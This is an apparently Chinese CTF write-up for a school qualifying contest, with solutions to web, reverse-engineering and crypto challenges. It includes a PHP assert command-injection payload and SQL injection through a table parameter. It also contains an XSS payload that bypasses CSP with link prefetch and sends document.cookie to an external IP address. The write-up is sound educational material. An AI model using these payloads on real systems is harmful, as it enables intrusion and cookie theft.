某校选拔赛

web

admin

首先扫描,发现目录
某校选拔赛_第1张图片

访问发现flag不对,抓包,修改一下cookie即可
某校选拔赛_第2张图片

babyphp

查看源码得到hint
某校选拔赛_第3张图片

然后这题又有.git泄露
某校选拔赛_第4张图片

发现有个过滤,这题就是只要绕过,然后执行访问目录即可,开始构造
'.xxx.'
这样大概在里面是
$file="templates/".''.xxx.''.".php"

assert("strpos('templates/'.xxx.'.php') ===

某校选拔赛_第5张图片

发现可以找到,但没有办法查看,那如果我闭合前半部分,单独执行sys命令呢
','..') === False and system('');//
payload:
','..')===False and system('cat templates/flag.php');//
某校选拔赛_第6张图片

flag:61dctf{8e_careful_when_us1ng_ass4rt}

inject

一开始没有其他目录,那就尝试一下备份
.index.php.swp发现源码


require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

发现我如果输入任何数,都会hack!,猜测是Hacker()报错的,而过滤函数只起到过滤不报错的作用,那就下来就必须让那个链接语句成功
由于是反引号,尝试用反引号闭合试试
某校选拔赛_第7张图片

发现是完全可以的
然后直接构造语句试试
某校选拔赛_第8张图片

成功,但是不是1,看来有可能是顺序问题,利用limit
某校选拔赛_第9张图片

表名
某校选拔赛_第10张图片

列名
这里写图片描述

flag到手
某校选拔赛_第11张图片

babyxss

首先是验证码的碰撞,直接脚本

import random
import string
import hashlib

def md5(str):
    m = hashlib.md5()
    m.update(str)
    return m.hexdigest()

i = 0
while 1:
    i +=1
    #print i
    string = ''
    s = string.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',4))
    if md5(s)[0:4] == '82ac':
        print s
        break 

接下来就是xss的过程,不过有csp机制
这里写图片描述

由于CSP对link标签的预加载功能考虑不完善,先是构造一个
这里写图片描述

收到了,虽然什么也没有,访问一下
这里写图片描述

发现写入页面里了,当时忽略了这点,结果总是找不到好的方法去控制,想了好久好久,就是不能过
不过后来有了提示,寻找可控点,联想得到的referer页面的可写入
某校选拔赛_第12张图片

单纯的发送并利用src去访问,结果发现不执行,由于有了link以后,下面的就失去了作用,看来需要让link解析但最后的php又不执行,尝试注释,发现成功
某校选拔赛_第13张图片

某校选拔赛_第14张图片

某校选拔赛_第15张图片

payload:
首先提交这个

var n0t = document.createElement("link");
    n0t.setAttribute("rel", "prefetch");
    n0t.setAttribute("href", "http://45.32.67.217/XSS/?a=" + String(document.cookie));
    document.head.appendChild(n0t);
//

然后根据返回的referer再提交

然后静等返回flag

RE

androidea

利用jeb分析
某校选拔赛_第16张图片

脚本

a= [113, 123, 118, 112, 108, 94, 99, 72, 38, 68, 72, 87, 89, 72, 36, 118, 100,78, 72, 87, 121, 83, 101, 39, 62, 94, 62, 38, 107, 115, 106]
f=''
for i in a:
    f+= chr(i^23)

print f

得到
这里写图片描述

stheasy

反编译
某校选拔赛_第17张图片

是两串字符
某校选拔赛_第18张图片

整理一下,payload

s ='1k2j9Gh}AgfY4ds-a6QW1#k5ER_T[cvLbV7nOm3ZeX{CMt8SZo]U'
a = ['48','5D','8D','24','84','27','99','9F','54','18','1E','69','7E','33','15','72','8D','33','24','63','21','54','0C','78','78','78','78','78','1B']
f = ''
for i in range(29):
    print int(a[i],16)/3
    f += s[int(a[i],16)/3 -2]

print f

某校选拔赛_第19张图片

Crypto

bbencode

打开看见加密脚本

flag = open("flag", "r").read().strip()
assert len(flag) == 32
def str2num(s):
    return int(s.encode('hex'), 16)
def bbencode(n):
    a = 0
    for i in bin(n)[2:]:
        a = a << 1
        if (int(i)):
            a = a ^ n
        if a >> 256:
            a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223L
    return a

print bbencode(str2num(flag))

这个跟0ctf的OneTimePad1比较像,不过简单了许多,这个算法只要将加密的密文按着加密脚本重复下去,就能得到flag,不过数学不是很好,所以不怎么知道需要轮询多少遍,去了个巧,猜测flag格式是flag{},这样我直接比对flag的16进制是否匹配即可

def bbencode(n):
    a = 0
    for i in bin(n)[2:]:
        a = a << 1
        if (int(i)):
            a = a ^ n
        if a >> 256:
            a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223L
    return a

flag = 61406787709715709430385495960238216763226399960658358000016620560764164045692
for i in range(10000000):
    flag = bbencode(flag)
    if '666c6167' == str(hex(flag))[2:10]:
        print i
        print hex(flag)[2:-1].decode('hex')

某校选拔赛_第20张图片

发现还能得到好多,不过还不是很明白到底要重复多少次,似乎跟数论有关

rsappend

这个看下脚本

flag = open("flag", "r").read().strip()
assert len(flag) == 32

import primefac
import random
from os import urandom
def genprime(l):
    l/=8
    big=1
    while(l):
        big=big<<8
        l-=1
    big-=1
    small=(big+1)>>4
    temp=random.randint(small,big)
    return primefac.nextprime(temp)
#genprime(2048)    
def str2num(s):
    return int(s.encode('hex'), 16)
def padding(s):
    return s+urandom(abs(256-len(s)))

def rsappend(m):
    p = genprime(2048)
    q = genprime(2048)
    n = p * q
    result=[str(n)+"\n"]
    pm=padding(flag)
    for i in range(32):
        e=genprime(32)
        c=pow(str2num(pm),e,n)
        result.append(str(e)+"###"+str(c)+"\n")
    return "".join(result)

open("result","w").write(rsappend(flag))

定义的那些函数根本不用看,反正主体不在那,看主体,会发现先将flag填充很多随机字符,然后会发现又随机生成c,e,然后他居然循环32次,让我一直坑在数量上
某校选拔赛_第21张图片

这么多数据,我一直以为是全部数据都要处理,却发现只要两个组成共模攻击即可,反正其他的数据是用来处理后面的填充字段的。。。郁闷
脚本

#coding=utf-8 

import sys

def egcd(a, b): 
    if a == 0: 
        return (b, 0, 1) 
    else: 
        g, y, x = egcd(b % a, a) 
        return (g, x - (b // a) * y, y) 

def modinv(a, m): 
    g, x, y = egcd(a, m) 
    if g != 1: 
        raise Exception('modular inverse does not exist') 
    else: 
        return x % m 

def main():
    n = 130129008900473203968454456805638875182255844172836031362469765750555629223299054613072677100571707156698316733582683118539756860001556017029333867329591302318262912728008327902112481960175532302595162289611406978353816368008691640641366763939266242207191229240305820321249712345088877729541037319788659353057396178127928848886417880913823432701577855911982710310391664759040416918636673098245499680559140960154217578440590540485803953844560093151975252604098243460784073934982164384904788470380402066708313893480356219937915540825156266934523595689350157227336528136089157698775968997579723271988825396396444999743016035145444220925369592263295741687879468786947998534483539986779457827253891091252408156073413533385415338751818544323853074296042153599429749378847870780593975579477549218822682233583377677693108437331184962345568217859524495625257015837972947971787321584159575618388588687948368216479955807108888453821700067186732627409832722329355336479016104249514839541606562090752437124270651936485389358065775555250883907067083447197860848471728871909151915883316674512739238840179296263390441457949281128267215916340163366686542160467601357340644950755337706786366316621293666173843528346692669268972961669116101104865152273
    e1 = 3493354673
    e2 = 340864687
    c1 = 95302089605615051645253770338205531172677353498946580682786822045513597212422921981567826452072575982096979591435896082106066368909398510427324124083956090397824543655853708684901332136907086372208856759943292176759073194584568350898675282883285945088425893961769183074018286761903249180704401358403273776903672507958464947244563165564687651203497198317095965140433811056890812018746508121991041040929574993486548175817290824525606551459788553765629416110310419007396912225733599205599864440826319234419035248234403040065378375700430311931418759746223148198205862641252459687694589780856855757703678024583642215076094232444641853081607984934672271461513190437757388818064739151861157236855430066735235471068167602037785718403200529481153399754491247323829122718485697100562237822159608309949585990842201041193231738706398444530233533281604482892716292766323711237917277799500317596333142843576977429802405873159965636003943698854699972663575602383960580472190300576561953143218321528070200681456278974433060654128626428761278953024384187213765974659768657721533448706022075747036347982370028705538843276631102928500802573434484354218539824751579164697748967608238067706842975984077663380114254296902060435479795741671231918448537178
    c2 = 105918022590727868761989308441554006325741233318901416621101439141134508212362387984949614887131575960019253866892976283979646611794365370050551871112439674346802340152058463892106629344277362169322187627579360245792142005899616101515519718660483000821415412306495286717542069436530262341500852884860324349096274655178057271529986597578695272732947460673640986877589225588415523871081101162696385279491410034057376225511693022693861779342120101749193614060384925056132593068290214170342896671210026723193650534803792328917982049779674425511275821311773130342656939142955431868128759911406827872932920704284125816103225607727270365652734742083302757644298457617564597237089509337896240249999242834787525341715546373108420197569425092674224333823552432226153066667988737348643469923827028254712179077001007265954488404167147591307425224250970874724864947175449960116685682348915647317191880538777148647712260093008241728509225817352093441924045801257015598517963598799676359095235231066752986688784477694024390356904157694178691411759003004184256950519184836209393583431328640341243629167223114681734264945594931213193459079614652400888215324779908031661350565230685273639666615465296133672907093946148188967451042301308884510424218096
    s = egcd(e1, e2) 
    s1 = s[1] 
    s2 = s[2] 
    # 求模反元素 
    if s1<0: 
        s1 = - s1 
        c1 = modinv(c1, n) 
    elif s2<0: 
        s2 = - s2 
        c2 = modinv(c2, n)

    #m = (c1**s1)*(c2**s2)%n 
    m = (pow(c1,s1,n)*pow(c2,s2,n))%n  #效率较高
    print m 

if __name__ == '__main__': 
    sys.setrecursionlimit(1000000) 
    main()

这里写图片描述

转化成hex
某校选拔赛_第22张图片

转化成字符
某校选拔赛_第23张图片

你可能感兴趣的:(WriteUp)